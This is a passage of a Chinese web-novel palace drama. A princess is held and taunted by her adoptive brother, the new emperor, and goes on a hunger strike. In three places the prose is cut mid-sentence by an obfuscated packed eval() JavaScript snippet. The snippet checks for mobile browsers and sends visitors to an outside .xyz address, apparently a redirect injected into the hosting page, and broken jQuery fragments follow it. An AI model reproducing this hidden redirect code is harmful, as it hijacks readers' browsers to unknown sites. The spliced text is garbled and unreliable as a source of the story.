“我来迟了，妹妹受委屈了。”薛通自己又安逸到哪里去，这段日子浑浑噩噩的，他一个从不弹泪之人，每个午夜梦回时，脸上总挂着泪痕，湿漉漉的，可当着薛柔，他得坚强起来，以兄长的身份为她撑起一片天，“妹妹快别伤心了，你平素最爱看的话本子，我又搜罗了些，可精彩了。” 为她擦净泪点子，薛通拉她坐定。 三喜难得机灵，早早拆开纸包，捧一摞封皮五颜六色的话本子近她跟前。 薛柔随手拣了本，却见书皮上描画着一男一女，男的正执眉笔为女的画眉，二人眉目含笑，深情款款，十足一对眷侣。 她顿时一阵伤感。 想当时，她与崔介不也如这般浓情蜜意的吗？ 可惜，明明同处一座城池，偏偏无法相见。 是什么在作祟？ 便是他薛怀义啊。 “妹妹，”薛通情思敏感，十之八九知她为何显露悲切，忙忙取出崔介的玉，“崔大人给你的，他还有话说，要你一定想开些，待安顿完崔老夫人的后事，他立来接你回家。” 崔介贴身佩戴的玉，薛柔自然识得，攥着光滑的白玉，仿佛重温到那短暂的缱绻，飘摇不安的心随之有了着落，开始有余力关注旁的。 薛通看出她的疑虑，删繁就简将崔家的变故解释明白，末了沉沉一叹：“世事无常，令人唏嘘……” 生恐再勾起她的茫茫悲情，及时转悲为喜：“妹妹，别的乱七八糟的事你不要多心理睬，只管保持心情舒畅，按时用药，争取早日康复，我还等着你围在我耳边叽叽喳喳，和我拌嘴呢。妹妹，你可记住了吗？” 薛柔点点头，对三喜翕动嘴巴，三喜会意，代为传递意思：“公主烦殿下向驸马稍句话……” “……我会好好吃饭，好好睡觉，只待你来接我。”短短的一句回应，几经辗转，终由云澜之口传向崔介，“公子，这下您可以放心了。” 崔介垂眸，默不作声，心情既安慰又愧疚，究竟五味杂陈，百感交集。 不过离开一会工夫，崔安便派小厮来寻了。 崔介收敛发散的心思，前去接应。 先帝仙逝，新帝井井有条安排了一批后宫的妃嫔，有同先帝情深意笃的，自愿请旨往皇陵守陵，其余的则留在宫苑，了此残生。 而这之中，有个例外——舒婕妤既不愿意去守陵，葬送下半生，还不满意眼下只拔高一级的太嫔位分，终日怨声载道，坐卧不宁，对薛嘉也没什么好脸色，屡屡指桑骂槐：“当初那一碗一碗的羹汤尽喂进狗肚子里去了！你献那多殷勤管什么用，到头来还不是给你丢到这鸟不拉屎的地儿不闻不问了？” 薛嘉本就因薛怀义翻脸无情而寒心，舒太嫔又哪壶不开揭哪壶，用词更是轻薄无状，丝毫不顾她的颜面，登时气得双目圆睁，口不择言：“母亲这是哪里的话！当初千叮咛万嘱咐要我多去东宫走动的人，不正是母亲吗？今儿翻沟里了，倒不分青红皂白怨我一人，好没道理！” 舒太嫔同一帮先前不得宠的微末嫔妃凑合在咸福宫里，地方拥挤吵闹，跟从前宽敞明亮的钟秀宫差了远了，当然闹心，闹得厉害，脾气也跟着上来，摔摔打打是常态。 “好哇你，觉得翅膀硬了，也跟着他们编排我的不是！”舒太嫔气不过，扬手掌了薛嘉一耳刮子，“要不是你处处不如薛柔，好处全叫她占尽了，咱们娘俩岂会沦落到这步田地？” 薛嘉捂着半边胀红的脸，泣不成声：“全怪我吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799967|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？那我还不甘心投错了胎，没能生在皇后的肚子里……” 舒太嫔暴跳如雷：“你算什么东西，敢瞧不起我？可反了你了，看我今天不打死你个白眼狼！” 薛嘉挨了不下十笤帚，细皮嫩肉上爬着一道道红痕，触目惊心。 莺儿看不过眼，死命抱住张牙舞爪的舒太嫔，催促薛嘉赶紧躲躲风头。 薛嘉一方面实在疼，一方面心灰意冷，噙泪跑走。 再回去，她不敢，亦不愿，那眼前能去的，仅剩一个地方了。 “陛下，八公主在外面哭哭啼啼，非要见您。” 才送走薛通，紧随着薛嘉就来了，程胜嘀咕，今日的乾清宫前所未有地红火啊。 薛怀义的声音毫无温度：“说朕忙，叫她改日再来。” 他这个八妹妹心思活络，说得粗鄙些就是不老实。 一个宫里，不老实的有他一个就够了，再来第二个，败坏兴致。 程胜原原本本转告。 薛嘉如坠冰窟，呆望着巍峨的宫门，活活觉得自己像个跳梁小丑，万万设想不到以前成日在嘴边念叨的人，当真冷血薄情，一丝旧情不念。 但她确确实实已经走投无路了，只有忍耻求他垂怜。 “见不到陛下，我便一直跪着，哪怕跪到死。”她应声跪倒，腰肢挺直，头颅端平。 程胜没奈何，折返回禀。 论这宫里，仅一人可以肆无忌惮地对薛怀义撒泼，那就是薛柔。 不过，那也是从前的事了。 “喜欢跪，那随她便吧。” 以往，薛嘉给他的印象是心机重城府深，妄图以小恩小惠笼络他，谋求来日保障，倒不算十分惹人生厌。 今夕，薛嘉竟不惜拿长跪不起来要挟，可她怎么变蠢了，以自身安危去胁迫别人，被胁迫的得是本就在意她的人才可行，他从始至终都谈不上在意她，此等招数安会奏效？ 真是个“处心积虑”的蠢货。 薛怀义言出必行，从白天到黑夜，从深夜到熹微，薛嘉的计谋可笑地落空了。 稳住舒太嫔，莺儿得空寻人，兜兜转转，于咸福宫外遇着发髻松散、脸面浮肿的薛嘉，委实倒吸一口凉气，迎上去关心：“您可吓死奴婢了！这一整夜您去哪了？” 薛嘉六神无主，一声不吭，自顾自把自己关在屋里在憋了一天一夜，痛定思痛，到底做出决定，和没好气的舒太嫔说：“烦母亲托人打听打听，崔碌对我可还有意否。若心意依旧，我同意嫁给他。” 混到这份上，舒太嫔心高气傲不起来，老实找关系从中游走周旋，得到的结果是：崔碌当场兴高采烈，满口谢天谢地，可谓甘之如饴。 是日，舒太嫔造访乾清宫，讲明欲撮合薛嘉与崔碌缔结姻缘之念头，顺利取得新帝首肯，有言是：待国丧及崔老夫人孝期过后，便颁下赐婚圣旨，风风光光送公主出嫁。 舒太嫔为旧日恩怨而愤懑，忍不住多说两句，却被程胜请出门外。 “太嫔见谅，这个时辰十公主该吃药了，陛下急着照顾十公主服药呢。”程胜笑眯眯道。 舒太嫔暗中唾骂： 这薛柔是什么香饽饽么，一个两个不要钱似的倒贴！ 就那个病病歪歪的鬼样子，和慈宁宫里那个老货简直一个模子里刻出来的，没准哪天这对母女就手牵手下黄泉了。 哼，那才好呢，否则不解这口恶气！ 28. 沉沦 大周法规，家中长辈离世，儿孙须守丧一年。 如今，崔家便是同样的情况。 原来预料，把崔老夫人的丧事处理妥善后，即可动身进宫接回薛柔，怎奈树欲静而风不止，老夫人一走，崔家几房就开始嚷嚷着要分家，属大房呼声最高。 摊上这等糟心事，崔介只得推后入宫日期，先行解决燃眉之急。 大房、三房串通一气，非分不可，崔介却是持反面主张，势必守住崔家祖祖代代的基业与名誉。 放眼京城富贵人家，且还没有一家闹得要分家的，倘若真松了口，一家子掰成好几份，丢脸是其次，无言面对列祖列宗才是要紧。 俗语说，三个臭皮匠，赛过一个诸葛亮，其他两房没昼没夜地争吵，光一个二房何以顶得住，崔寿是个不管事的，余夫人心细，爱钻牛角尖，每每所见所闻翻天覆地般的闹腾，终于忍无可忍，拍手咆哮：“分，现在就分！” 崔介一个头两个大，两边劝，但没人肯听他的，可谓是鸡犬不宁，烦得他顾不上为亡故不久的祖母悲伤，亦分身乏术惦念宫里的薛柔，一颗心全扑在如何阻止平息这长顿闹剧上。 而薛柔这边，难以忘怀逝者，每日跪坐案前，执笔抄一章《孝经》。 她不爱读书写字，字自然不好看，可想到将是焚给父皇的，父皇又顶顶计较字迹工整漂亮与否，如果破罐子破摔，就照这歪歪扭扭的样貌烧了，父皇在九泉之下看见，准会不高兴的，于是硬逼着自己对着经书上的字，一笔一画，慢慢地写，力求美观。 日复一日，握笔的手可见地稳了，墨迹皴染而成的字也有了质的飞跃，三喜四庆端详过，都不免面露惊叹，赞口不绝。 “殿下，明儿是第三十七天了，身上的丧服可以除下来了。” 三喜掰着手指头记着日子。 先帝遗诏，丧期以日代年，原定的三年共计三十六个月，现今守满三十六日就成。 薛柔犹似做梦，不敢相信父皇的影子越来越淡，终将消失在她的生活中。 她哑然无声，低头望着即将抄录完毕的最后一篇最后一遍《孝经》，横生无限不舍，好似要把她湮没了。 三喜一边懊恼自己没眼力见，这节骨眼上提什么丧不丧的，一面绞尽脑汁琢磨哄她开心的办法，恰是举步维艰之际，窗外纷纷响起“参见陛下”的声响。 时隔半个月，薛怀义再次大驾光临了。 半个月前，同样的房间，同样的红日西沉时，碎裂的药碗，洒落的汤药，滴血的碎片，愤怒的薛柔，阴笑的薛怀义，历历在目。 三喜同四庆交换眼神，全看出对方眼底铺着的恐惧及担忧。 问安声连贯不断，很快延续至门口，三喜何敢怠慢，忙去开门，下巴几乎贴上锁骨，结结巴巴道：“陛、陛下……” 瑟缩的肩膀，颤抖的声线，这小宫女怕极了他，薛怀义操着作弄之心，偏偏在三喜跟前停下，玩味道：“朕又不会杀你，你害怕什么呢。” 三喜吓惨了，脸色白里透青，跟棺材里躺着的死人一个样，在“奴婢”二字上磕绊了很久，竟拼凑不出一句完整的话语。 薛怀义嗤的一笑，脸冲门外一斜：“都下去吧，没有朕的传唤，不许进来。” 三喜心系薛柔，偷偷回头，却见薛柔向这头眨眨眼，意在叫自己听话退下。 三喜咬着嘴唇，与四庆一前一后回避，并遵照吩咐，将门带上了。 薛柔存好经书，直起身警惕地盯着步步紧逼之人，坏在她嗓子一直不见气色，发不出声音，不然必骂他个狗血淋头。 “妹妹的下巴还疼么？” 薛怀义一直走到她面前，仗着身量高，将窗外的暮色全然挡住了。 那日简直不堪回首，可恨这贱种旧事重提，偏生逼着她去回忆那恶心的片段。 * “朕一概知道，”薛怀义向三喜手托的药碗侧目，“妹妹不肯吃药，无一例外浇了花草。” 他冷不防笑了：“怎么，怕朕在药里动手脚，从而毒死你么？” 薛柔两面三刀的小动作，薛怀义早已了解——她的住所，遍布他的眼线，专门监视她的一举一动。 她也学薛嘉那套，用自己的安危做文章。 呵，自作聪明。 既然败露，薛柔索性不演了，扭开脸，当那药不存在。 “给朕。” 三喜怯怯递出去。 但见薛怀义一手捏碗，一手钳薛柔的下颏，然后把碗微微栽倒，强行使黑糊糊的药汤灌入薛柔口内。 那之后，她的嘴巴连带下巴，绯红夺目。 薛柔呛得厉害，弯腰咳嗽不住，三喜惊慌失措，急找手绢，好容易找着，不防备被薛怀义夺了。 “抬头。” 虽下了命令，然薛怀义了解她，知她高傲倔强，越让往东就非要往西，何况眼前是他这个狗奴才在发号施令，更不能够服软了。 鉴于此，他干脆再来一次硬的，伸手捞起她的脸，使帕子左左右右、上上下下划过她的唇，不像擦水渍，反像蹂躏——亲手造就那朵红得妖艳的嘴唇，而后亲眼看着它，目不转睛地看着它。 他压对了，彼此肌肤的触碰令薛柔羞愤欲死，她忍痛推开他，眼睛来回扫视，成功打上三喜手里空碗的主意，一挥胳膊，打碎碗，再挑一块最大最锋利的碎片，狠狠扎入曾触碰过自己嘴巴的手掌里，里外旋转着，速度慢到极致，势必绞碎那些个腥臭的死肉，以此泄适才羞辱之恨。 痛，是痛的，但痛并欢乐着。 正是如此针锋相对，你死我活，方才有力地刺激着薛怀义的感官，一针见血地告诉他，他还活着，无比清醒、无比鲜活地活着。 “恨不得立刻杀了我？”薛怀义没自称“朕”，“可你羸弱至此，同只蚍蜉无异，焉能对我下手呢？” 他一把拔出深入血肉的碎片，满不在意一丢，刚好是三喜所在之处，惊惶得三喜死咬着牙关，才没当场尖叫出逃。 “这样的小把戏，我见多了，无趣得很，你若有令我耳目一新的招数，我不介意期待一番。”他始终不正视自己的掌心，凭它血肉模糊，“我可是对你寄予厚望的，别让我失望啊，薛柔。” 身负几道迥异的视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799968|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，薛怀义徐徐离开。 那是薛柔第一次切切实实见识到，他堪比阴沟里的臭老鼠的真实嘴脸，比她预想的，更加丧心病狂。 * “躲什么呢？”薛怀义微笑着揭穿她自以为天衣无缝的，倒退半步的举止，“妹妹是害怕了么？” 他逼得紧，堪堪将她逼仄在墙角，也领略到了她从前的威风，傲然睥睨着她因愤恼而瞪大的两只杏眼。 “那日，你在睡梦中，梦到了谁？”他忽然伸手，在距离她抿紧的嘴巴不到一寸的地方停下，“是我，还是崔介？” 那日，桐花台，摇曳的扁舟，潮湿的空气，纠缠的吐息，及血腥的啃咬……他忘不掉，且对她为始作俑者却一无所知而怨恨。 所以，他要挑明，让那个噩梦光临她的梦境，日复一日，年复一年，占尽她的余生。 既无法控制地沉沦，那么，便拉她共堕深渊，方才划算。 目光相对，呼吸相连，诡异地暧昧。 万分不可思议，薛怀义与薛柔摆在一块儿，会产生恨以外的情愫。 那日，哪日？ 薛柔听不明白。 在睡梦中，又梦到了谁？ 更云里雾里。 “哦，疏忽了，忘了你讲不了话了。” 薛怀义先笑一笑，之后倏地扣住她的下巴，轻轻向上一挑，下倾的目光仿佛绑着尖利的钩子，死死勾住她的唇，像在端量一个新奇的物件。 既然新奇，单打量怎么够——下一瞬，他移动指节，悠悠地蹭过那雪白的脸皮，蜿蜒而上，指腹不厌其烦地于唇畔环绕。 薛柔一阵恶寒，同时伴随着一阵颤栗，忍无可忍，正准备抬手抓走这恶劣且恶心的手，就觉被锁着手腕，连同胳膊肘，反别着摔到墙上。 墙面冰冷，她的胳膊滚烫，圈在她腕间的手，又是冷的，如冰块一样。 冷热交替，慢慢地侵蚀着她的神经。 “疼？” 上面传来的声音也是阴冷彻骨的，如严冬腊月的北风，横冲直撞地往脸上来，大有割破脸颊的威力。 唇际徘徊的指尖突然落定了——按在她的唇珠上。 “那日在桐花台，你醉酒入梦，梦见了谁？”薛怀义带着低劣的笑，问。 薛柔在思考。 桐花台，醉酒，做梦，几个零散的词语逐渐串联起断断续续的记忆。 三喜告诉她，是薛怀义找来背她回住处的，笼统如此，细节如何，竟一概不知。 看她眼中明明灭灭，薛怀义真情实感笑了：“想知道那天究竟发生了什么吗？” 他擅长的不止含垢忍辱，还有循循诱导。 薛柔的心声不能言表，但即便没有语言，亦不影响薛怀义从她的神情中探知一切——慌张，狐疑，以及迫切。 好极了，正中下怀。 薛怀义稍稍俯身，同她呈一副耳鬓厮磨的样子，音调故意拖长：“那天，你亲了我。” 怕她耳背听不清楚似的，又慢悠悠重复：“你主动亲了我。” 最后强调：“十妹妹，你冒犯了你的兄长。” 29. 笼鸟 只言片语间，薛柔浑身汗毛倒竖。 什么？他说她亲了他？ 不可能，绝对不可能！ 他坏到了骨子里，说出来的话有什么可信度，他一定是在诓骗她！ 愤怒使然，薛柔热血沸腾，手上好似有无穷之力，挣脱了胳膊上的桎梏，抵住面前之人的胸膛拼尽全力一推：“你胡扯！我就是死了，也不会去亲你！” 一切来得太突然，没给她思量自己已然怒骂出声的机会。 薛怀义笑开了，眼尾翘得活像狐狸眼。 吴中人如其名，倒算中用，不枉他提拔一回。 原来，薛柔病情不见进展，急的反而是薛怀义，他厌烦了自己的独角戏，迫切地需要她来作出回应，介于此，他召唤吴中吴院判，逼其走一步险棋：薛柔当初失声，是因极大的刺激所致，那么由此反推，再来一场难以接受的刺激的话，或许会起到意想不到的效果，究竟是好是坏，吴中不敢下保证。 好也算，坏也罢，薛怀义只想尽快看到成效，不惜押上最赖的结果，欣然采用了吴中的主意。 薛柔承受不了的刺激，这好办，那日小舟之内的“亲吻”，正好派上了用场。 将恶意满满的啃咬包装成唇齿相缠，薛怀义分毫不觉不妥，更无从谈起会不会心虚。 “逃什么。”薛柔欲逃出他的笼罩而下的阴影，但被无情抓获——他的手，重新抓住了她的手腕，比刚刚更大力，“闯了祸，就想着一走了之……妹妹，你是不是太不负责任了些？” 薛柔不甘落入他手里，即便痛意作怪，累她紧皱眉头，亦奋力挣揣着。 薛怀义只管注视她，眼里的戏谑，如同在看一只垂死挣扎的飞蛾。 “你滚开！”挣扎无效，薛柔大病未愈的身子也开始累了，姑且僵着拳头，含恨道。 挑眉，扬唇，发笑，一气呵成。 薛怀义说：“妹妹，你便不好奇，那个吻……” “你给我住嘴！”他的鬼话，薛柔一个字也不想听，放声吼叫，“你以为你是谁，一个比狗还贱的奴才，我是瞎了眼，得了失心疯，岂会碰你一根手指头？我警告你，你胆敢胡说八道半个字，我便……” 她恍然意识到，自己方才流利连贯地说了一车轱辘的狠话。 她居然能出声了？ “你便如何？” 薛怀义很享受从她姣好的容颜上显露的每一个表情的过程，那是为他而生发的，独属于他。 他将掌中皓腕朝怀里一扯，她顺势跌在他胸前：“所以妹妹，那个吻，你当如何？” 吻，吻，吻……他的声音不断在脑海里回响。 “啪！” 一巴掌落在薛怀义的右脸。 “要你死。”薛柔恶狠狠道。 她惯用右手，而她的右手深陷囹圄，左手扇下去的耳光，力道不足，于薛怀义而言，无足挂齿，反倒给他打得喜笑颜开：“妹妹竟还是这般天真单纯。朕是皇帝，朕死了，这大周朝也就亡了。莫不是妹妹想看先帝的一辈子的心血付诸东流么？” 自从先帝殡天，薛怀义再未唤过一声父皇，统一称呼为先帝。 冰冷的两个字节下，蕴含的是他蛰伏多年的野望——脱离薛姓，恢复本来的岑姓，将大周改朝换代。 不过现在他才登基，根基未稳，且得耐心谋划一段日子。 薛柔顿时错愕。 是了，薛怀义不同往日，已经是九五之尊了，轻易撼动不得。 京城的天变了，她没有靠山了。 当薛怀义忍不住去抚摸她微张的嘴唇之际，门外程胜请示：“陛下，何尚书求见，说有要事相商。” 何辉，时任兵部尚书，从前东宫官员，薛怀义心腹中的一员。 薛怀义啧了一下，仿佛在嫌何辉来得不是时候，打断了他戏弄薛柔的性兴致。 “朕就来。”说罢，归还薛柔自由身，“妹妹好好养身子，朕会抽空来看你的。” 薛柔咬牙切齿道：“不消你来假惺惺扮好人，你快滚，我再也不要见到你！” 薛怀义勾勾唇，转身出去。 三喜四庆掐着时机进来，但见薛柔两手成拳，眼神发直，身形道不尽地生硬。 “殿下，您还好吗？”三喜试问。 默了半晌，薛柔松了拳头，拿脚就打算出门：“我要出去，我要见母后。” 薛怀义继位，那母后按理应是太后，太后较皇后更尊贵一等，饶他薛怀义当了皇帝，也该敬着让着。 去求母后，许她出宫回崔家，与崔介团聚，真是个挑不出错处的法子。 三喜四庆面面相觑。 倒是四庆率先觉得惊喜意外，捂着嘴说：“殿下能讲话了？太好了，殿下终于见好了！” 三喜随后回神，眼睁睁瞧薛柔去了外面，穷追不舍，苦苦规劝：“天晚了，明儿再去吧殿下。” 并非三喜故意作那拦路虎，实在是心怀苦衷。 皇帝下令，命禁军在暖阁外围了一圈，守得如铁桶般，连只蚊蝇亦插翅难飞，防的正是薛柔。 三喜闪烁其词，薛柔没搞清楚状况，当然，纵使三喜全部交代，她也不信以她素日之威，有人敢阻拦她。 一直到院门前，薛柔终于得见所谓禁军。 她不以为意，直接往前迈腿。 “天黑了，外面不安全，公主请回吧。”一个禁军低头拱手道。 另一个禁军则悄悄按住佩剑，这十公主是个硬茬，不好对付，软的不济事，那免不得来硬的。 薛柔真个似听见了天大的笑话，横眉瞪眼道：“你们知我是谁，还有胆子拦我？真是放肆！” 禁军只知效忠皇帝，老皇帝没了，那就认准新皇帝。 新帝严令他们严加把守暖阁，不使一人钻空子，那他们便是冒着冲撞公主的风险，也必须奉行上令。 “属下不敢对公主放肆，却是陛下之意，请公主谅解。” 薛柔偏不信邪，冷哼一下，当即要硬闯出去，不料身前晃过一道白光，细细分辨，居然是一把出鞘银剑。 “公主请回。”老早准备硬碰硬的那个禁军手握长剑，冷硬道。 薛柔恰是个刚强的，天不怕地不怕，区区两个兵卒，耐她何如！ “不想死就让开。” 对方亦不退让，重复：“公主请回。” 薛柔不由点头：“好啊，父皇尸骨未寒，你们一个个的就妄图造反吗？！” 听她越说越严重，三喜心惊肉颤，忙给对面的四庆使眼色。 二人不谋而合，合力把炸毛的薛柔连拉劝拽地带回屋子。 薛柔勃然大怒，一回来便拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799969|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋子里的各样陈设出气，叮铃咣当碎了一地。 三喜四庆两个噤若寒蝉，等她砸够了，一个叫小宫女打扫遍地狼藉，一个动情开导：“已经到这一步了，殿下就别给自己添堵了，先恢复身体，待好完全了，再想办法吧……” 她肆无忌惮磋磨了新帝九年，新帝怎么能不怀怨恨，说到底，一报还一报罢了。 可薛柔不认同一报还一报的说法，她是父皇母后的掌上明珠，大周最尊贵的公主，他薛怀义凭何与她讨价还价！ “他算计着我同他认输，做梦！”她怒拍桌角，手心立时磕出一道红印，“见不了母后，我还有大姐姐、三哥哥、九哥哥，还有皇叔，这些人通通向着我，有能耐，他全打回去。” 三喜倍感无力，再劝不出口。 纵有那般多的后盾，不也得皇帝同意才进得来吗？ 禁军不撤，一切都白搭。 薛柔自顾自盘算了一夜，总算琢磨出个计策来，并急不可耐加以施行。 散朝回御书房的途中，一个内侍跌跌撞撞过来，险些冒犯了御驾。 程胜先给骂了一顿，才质问他冒冒失失所为何事，他揉着脑门上的冷汗：“不好了，公主闹绝食了，昨儿一日水米不进，今儿早也是，就晕过去了！” 程胜一时糊涂，反问：“公主？哪个公主？” 一语未尽，眼前飞快掠过一角明黄色——薛怀义匆匆而去。 程胜一愣，口内一叹，紧忙招呼随行人员一块去。 薛怀义走得快，步子也跨得大，一步顶别人两步，没多会已至薛柔住处外，凑巧，一眼逮着三喜在门道徘徊。 看见他来了，三喜目光一下子躲开，脸上随即浮现做贼心虚后的慌张。 薛怀义生具穿心透肺的识力，可通过别人近乎不可见的微表情，推断出此人的所思所想，向来十拿九稳，而又特别长于拿捏别人消极的一面，谁做了坏事底虚，一望而知。 三喜此刻的神态，正符合他对人性不好的那方面的了解。 是以，薛怀义油然放平心态，信步走去，斜瞥三喜：“情况如何了。” 三喜埋着头，两只互相紧抓的手隐约打着哆嗦，悄声细气道：“公主她孱弱得厉害，可得用心养护……” 薛怀义低笑道：“嗯，知道病着还闹绝食，挺好。” 能当上皇帝，又整日在朝中坐镇的人，有哪个不是精明到了头。 想在这类人跟前耍滑头，无异于异想天开。 薛怀义如此表现，昭然传递了一个信号：薛柔以绝食来惊动宫闱，图谋引来一众皇子公主的计策，暴露了。 “妹妹既喜欢折腾，随便，”薛怀义扫了一眼屋内，四庆正捏着湿手巾为闭目不醒的薛柔擦脸，“哪怕把乾清宫的顶揭了也无妨，朕命人加以修葺就是。” 薛怀义转身走了。 三喜的心凉了大半截。 这下更糟糕了。 程胜才喘着气赶来，就迎头遇着黑脸疾行的薛怀义，不觉古怪，凑去小心翼翼询问：“陛下这是已经看过了吗？那十公主应该不要紧吧……？” 薛怀义的声音宛如结了冰，寒气逼人：“要不要紧，她自有数。” 绝食图死？ 她舍得下太后、薛通等人，舍得下崔介么？ 拙劣的把戏罢了。 30. 肉中刺 薛柔豁出去了，是真的来绝食，横竖沦落至此，她也吃不消喝不下了。 水米不进的第三日，三喜泪眼汪汪，伏在床榻前哀求：“殿下，您不吃不喝，当真会……殿下，您可别做傻事，那么多人都等着您振作起来的呀！” 薛柔闭上眼把脸歪到一边，声音很细，很轻，却听得出怨恨：“我如今进出不能，不见天日，有什么意思，倒不如……” 倒不如一死了之？ 不，该死的是他薛怀义，不是她。 可现今他仗着皇权，将她囚于此，还能怎么办？ 伴她长大，三喜当然明白她的幽怨与无能为力，本意是开解她，自己反而涕泗滂沱，泣不成声。 尽管薛柔一意孤行绝食，但每日每顿的饭食仍准时送来，是御膳房供给的，食材新鲜，香飘四溢，全是她平时爱吃的。 四庆忍泪打开食盒，取出里面的饭菜，逐一摆设上桌，端起一碟芙蓉糕，恳切道：“殿下不是最喜欢吃芙蓉糕了吗？您睁开眼看看，这糕点多精致啊，肯定香得不得了……殿下，您不要难为自己了，奴婢给您跪下来了，奴婢给您磕头……您好好的，好不好？” 御膳房归程胜管辖，而程胜又是薛怀义最忠诚的狗，顿顿不缺地往这拿芙蓉糕来，其居心叵测，薛柔一颗心跟明镜似的。 他什么用意？ 无非是耀武扬威来了——当初她罚他在冰面上跪着，生生忍受天寒地冻，扬言不许再垂涎她钟爱的芙蓉糕，一晃多年，身份对调，芙蓉糕不再是她的专属之物，连她也成了砧板上的鱼肉，身不由己，任他宰割。 何其卑鄙，何其无耻！ “拿开。” 时过境迁，这盘芙蓉糕凑在眼前，只会令薛柔无休止地感到恶心。 四庆不是她肚里的蛔虫，哪里猜得到她九曲十八弯的心思，试着继续进言：“人怎么能不吃东西呢……殿下，您就别置气了，当务之急是——” “我让你拿下去，你聋了么？” 换作以前，四庆屡屡忤逆，薛柔哪怕大发善心不对她出手，亦短不了臭骂一通，然今日，她没那气力。 四庆吓住了，手托碟子不知所措，还是三喜颤颤巍巍站起来，推她出去避避风头。 那桌子饭菜一直搁着，凉了热，热了又放凉，如此重复，晚膳又摆齐全了。 薛柔心比金坚，不肯进食。 她性子烈，何尝遭受过此等屈辱，三喜生怕她因此赔上性命，小跑去大门口，哽咽着和当值的禁军表明事态情况。 禁军也慌了神，忙去通报皇帝。 薛怀义正忙于安排下个月率军南征的人选，程胜在侧，洗耳恭听。 “九弟有勇有谋，是个难得的将才，不派他去，未免白白浪费了他的本事。”御案上置有一本平摊开来的花名册，上记本朝文武大臣的名姓及官职，不过薛怀义一眼不曾正视过，他记忆力过人，心机深沉，朝里时局如何，各官员归属于哪一派，他通通明晰，“但他到底年轻，战场瞬息万变，非同小可，且此次南征，不容有失，便由何辉这个兵部尚书挂主帅，九弟为副，崔介为军师好了。” 崔介？军师？ 程胜一怔，面露迟疑之色：“崔大人年纪也轻，而且崭露头角没两年，更没有征战的经验，会不会有些欠妥啊……” 薛怀义嗤笑道：“你忘了崔家如今的荣华是靠一桩桩战功堆积起来的？崔家虽一代不如一代，却实打实培养出了崔介这么个英才，颇有崔老太爷的遗风。南征军师，他担得起。” 崔介是块美玉，才华横溢，薛怀义从不否认，委任他以一军之师，正是他深思熟虑的结果，此乃其一。 其二，崔介太碍事了，此人留在京城，薛柔永不死心，无法认清眼前只能委身于他的现实，干脆打发走崔介，就此斩断薛柔那一丝妄念。 其三，崔家当今都指着崔安、崔介这伯侄俩，崔安是个老滑头，顶顶贪生怕死，不值一提；仅需支开崔介，那崔家便如一盘散沙一般，难成气候，届时拔除崔家这股盘踞几朝的势力，堪称不费吹灰之力。 不止崔家，京城几大世家，薛怀义均要逐一铲除。 没了这几颗又臭又硬的顽石阻碍，改朝换代，指日可待。 恰是这时，一个内侍急忙忙进来，代暖阁外驻守的禁军传递讯息：“陛下，今儿第四天了，十公主仍旧倔得很，一口东西也不肯吃，人已经起不来床了，说话也费劲了，请您快去瞧一眼吧！” 薛怀义是万万不相信薛柔会不识时务到这一步的。 宁为玉碎，不为瓦全么？ 好，好极了。 她肖想着一死解脱，薛怀义可不同意。 她就算死，也应待他讨完这十年来的债，再由他动手了结她。 薛怀义当真动气了，沉着脸，嘴角下压，走得飞快，如冬日漏夜的一阵阴风，所过之处，寒意森森，凛冽逼人。 三喜出来通风报信前，千叮咛万嘱咐四庆看好薛柔，她眼跟前脆弱得一捏就碎，万不可出什么纰漏。 解铃还须系铃人，她堕落如斯，皆因皇帝而起，这个死结，或许只有皇帝才能解开。 时值初夏，气候暖人，三喜却觉背脊生寒，煎熬不堪，只因身边立着一个罗刹，俊美的容颜密布阴云。 松软的床铺上，合眼湾着一个人，纤细，轻薄，像山野之间的一簇蒲公英，风一吹就散了。 薛怀义冷眼俯视，却怒从心头起，恨不得把她揪起来，剖开她的肺腑看一看，崔介究竟占多大分量，值得这么一个自私自利、蛇蝎心肠的女人念念不忘，哪怕为崔介付出性命也在所不惜！ 偏偏，他不能。 她病弱，易碎，禁不得一点揉搓，倘若她一命呜呼了——在还清所亏欠他的债之前，他会疯的。 千言万语，终究融为一句话：“一心求死？好啊，你可以死，那太后、薛穹、薛通，还有崔介，这些人将何去何从，朕就无法保证了。” 这尘世间将薛柔由内到外都洞悉之人，不是去世的景帝，不是正在慈宁宫多灾多病的太后，也不是疼爱甚至溺爱她的薛穹、薛通，更不是与她合二为一、水乳|交融的崔介，恰恰就是视她为眼中钉肉中刺的薛怀义。 恨到极致，他已经陷入扭曲、病态的泥沼，自愿 